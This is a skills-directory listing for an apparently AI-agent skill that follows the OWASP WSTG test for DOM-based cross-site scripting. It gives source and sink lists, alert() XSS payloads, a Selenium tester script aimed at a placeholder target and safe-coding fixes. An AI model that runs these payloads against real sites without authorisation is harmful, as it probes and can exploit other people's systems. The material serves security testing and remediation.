Testing for DOM-Based Cross Site Scripting
Scanned 9/3/2026
Install to Claude Code
npx -y skills add CyberStrikeus/CyberStrike --skill wstg-clnt-01 --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Wstg Clnt 01?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/cyberstrikeus-wstg-clnt-01)More formats (shields.io, HTML) on the badges page.
---
name: wstg-clnt-01
description: "Testing for DOM-Based Cross Site Scripting"
category: client-side
owasp_id: WSTG-CLNT-01
version: "1.0.0"
author: cyberstrike-official
tags: [client-side, javascript, dom, cors, wstg, clnt]
tech_stack: []
cwe_ids: [CWE-79]
chains_with: []
prerequisites: []
severity_boost: {}
---
# wstg-clnt-01
## Test ID
WSTG-CLNT-01
## Test Name
Testing for DOM-Based Cross Site Scripting
## High-Level Description
DOM-based XSS occurs when client-side JavaScript processes data from untrusted sources and writes it to the DOM without proper sanitization. Unlike reflected or stored XSS, the payload never reaches the server - the entire attack happens in the browser. This makes DOM XSS harder to detect with server-side security tools.
---
## What to Check
### Sources (User Input)
- [ ] document.URL
- [ ] document.location
- [ ] document.referrer
- [ ] window.location
- [ ] window.name
- [ ] localStorage/sessionStorage
- [ ] URL hash (location.hash)
### Sinks (Dangerous Functions)
- [ ] document.write()
- [ ] innerHTML/outerHTML
- [ ] eval()
- [ ] setTimeout/setInterval (with strings)
- [ ] jQuery.html()
- [ ] location.href
- [ ] element.src
---
## How to Test
### Step 1: Identify Sources and Sinks
```javascript
// Browser console - find potential DOM XSS patterns
// Search JavaScript files for dangerous patterns
// Common source patterns
const sources = [
"location.hash",
"location.search",
"location.href",
"document.URL",
"document.referrer",
"window.name",
"localStorage",
"sessionStorage",
]
// Common sink patterns
const sinks = [
"innerHTML",
"outerHTML",
"document.write",
"eval(",
"setTimeout(",
"setInterval(",
".html(",
".append(",
"location.href",
"location.replace",
]
console.log("Check JS files for these patterns")
```
### Step 2: Test URL-Based DOM XSS
```bash
#!/bin/bash
TARGET="https://target.com"
# Test hash-based XSS
payloads=(
"#<script>alert(1)</script>"
"#<img src=x onerror=alert(1)>"
"#javascript:alert(1)"
"#'-alert(1)-'"
"#\"><script>alert(1)</script>"
)
for payload in "${payloads[@]}"; do
echo "Testing: $TARGET/page$payload"
# Open in browser and check console for execution
done
# Test query parameter XSS
curl -s "$TARGET/search?q=<script>alert(1)</script>" | grep -i "script"
```
### Step 3: DOM XSS Tester
```python
#!/usr/bin/env python3
import requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import UnexpectedAlertPresentException
import time
class DOMXSSTester:
def __init__(self, base_url):
self.base_url = base_url
self.findings = []
# Setup headless browser
options = Options()
options.add_argument('--headless')
options.add_argument('--disable-xss-auditor')
self.driver = webdriver.Chrome(options=options)
def test_hash_xss(self, page_path):
"""Test hash-based DOM XSS"""
print(f"[*] Testing hash-based XSS on {page_path}")
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"'-alert('XSS')-'",
"\"><img src=x onerror=alert('XSS')>",
"javascript:alert('XSS')",
]
for payload in payloads:
url = f"{self.base_url}{page_path}#{payload}"
try:
self.driver.get(url)
time.sleep(1)
# Check for alert
try:
alert = self.driver.switch_to.alert
print(f"[VULN] DOM XSS via hash: {payload[:30]}")
alert.accept()
self.findings.append({
"type": "hash_xss",
"payload": payload,
"severity": "High"
})
except:
pass
except UnexpectedAlertPresentException:
print(f"[VULN] DOM XSS triggered: {payload[:30]}")
self.findings.append({
"type": "hash_xss",
"payload": payload,
"severity": "High"
})
def test_query_xss(self, page_path, param_name):
"""Test query parameter DOM XSS"""
print(f"\n[*] Testing query param XSS: {param_name}")
payloads = [
"<script>alert('XSS')</script>",
"<img/src=x onerror=alert('XSS')>",
"'-alert('XSS')-'",
"\";alert('XSS');//",
]
for payload in payloads:
url = f"{self.base_url}{page_path}?{param_name}={payload}"
try:
self.driver.get(url)
time.sleep(1)
try:
alert = self.driver.switch_to.alert
print(f"[VULN] DOM XSS via query: {payload[:30]}")
alert.accept()
self.findings.append({
"type": "query_xss",
"parameter": param_name,
"payload": payload,
"severity": "High"
})
except:
pass
except UnexpectedAlertPresentException:
print(f"[VULN] DOM XSS triggered")
self.findings.append({
"type": "query_xss",
"parameter": param_name,
"payload": payload,
"severity": "High"
})
def analyze_javascript(self, js_url):
"""Analyze JavaScript for DOM XSS patterns"""
print(f"\n[*] Analyzing JavaScript: {js_url}")
try:
response = requests.get(js_url)
js_code = response.text
# Dangerous patterns
patterns = {
'innerHTML assignment': r'\.innerHTML\s*=',
'document.write': r'document\.write\s*\(',
'eval usage': r'eval\s*\(',
'location.hash sink': r'location\.hash.*innerHTML',
'jQuery html sink': r'\$\([^)]+\)\.html\s*\(',
}
import re
for name, pattern in patterns.items():
matches = re.findall(pattern, js_code)
if matches:
print(f" [WARN] Found {name}: {len(matches)} occurrences")
except Exception as e:
print(f" [ERROR] {e}")
def close(self):
self.driver.quit()
def generate_report(self):
print("\n" + "="*50)
print("DOM XSS TESTING REPORT")
print("="*50)
if not self.findings:
print("\nNo DOM XSS vulnerabilities found.")
return
print(f"\nVulnerabilities: {len(self.findings)}")
for f in self.findings:
print(f"\n [{f['severity']}] {f['type']}")
print(f" Payload: {f['payload'][:50]}")
# Usage
tester = DOMXSSTester("https://target.com")
tester.test_hash_xss("/search")
tester.test_query_xss("/search", "q")
tester.analyze_javascript("https://target.com/main.js")
tester.generate_report()
tester.close()
```
### Step 4: Manual Browser Testing
```javascript
// Paste in browser console on target page
// Test 1: Check if hash is used unsafely
location.hash = "<img src=x onerror=alert('hash-xss')>"
// Test 2: Check postMessage handler
window.postMessage("<img src=x onerror=alert('postMessage')>", "*")
// Test 3: Check localStorage handling
localStorage.setItem("test", '<img src=x onerror=alert("storage")>')
location.reload()
```
---
## Tools
| Tool | Description |
| ---------------------- | ------------------------- |
| **DOM Invader (Burp)** | Automated DOM XSS testing |
| **Browser DevTools** | Manual analysis |
| **Selenium** | Automated browser testing |
---
## Remediation Guide
### Safe DOM Manipulation
```javascript
// UNSAFE - Direct HTML insertion
element.innerHTML = userInput
// SAFE - Text content (no HTML parsing)
element.textContent = userInput
// SAFE - Create elements programmatically
const div = document.createElement("div")
div.textContent = userInput
parent.appendChild(div)
// SAFE - Use DOMPurify for HTML
element.innerHTML = DOMPurify.sanitize(userInput)
```
### Avoid Dangerous Sinks
```javascript
// AVOID
eval(userInput)
document.write(userInput)
element.innerHTML = userInput
// USE INSTEAD
JSON.parse(userInput) // For JSON data
element.textContent = userInput // For text
```
---
## Risk Assessment
| Finding | CVSS | Severity |
| -------------------------- | ---- | -------- |
| DOM XSS via hash | 6.1 | Medium |
| DOM XSS via query param | 6.1 | Medium |
| DOM XSS with session theft | 8.1 | High |
---
## CWE Categories
| CWE ID | Title |
| ---------- | ----------------------------------------------------------- |
| **CWE-79** | Improper Neutralization of Input During Web Page Generation |
---
## Checklist
```
[ ] Sources identified in JavaScript
[ ] Sinks identified in JavaScript
[ ] Hash-based XSS tested
[ ] Query parameter XSS tested
[ ] postMessage handlers tested
[ ] Storage-based XSS tested
[ ] Findings documented
```
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!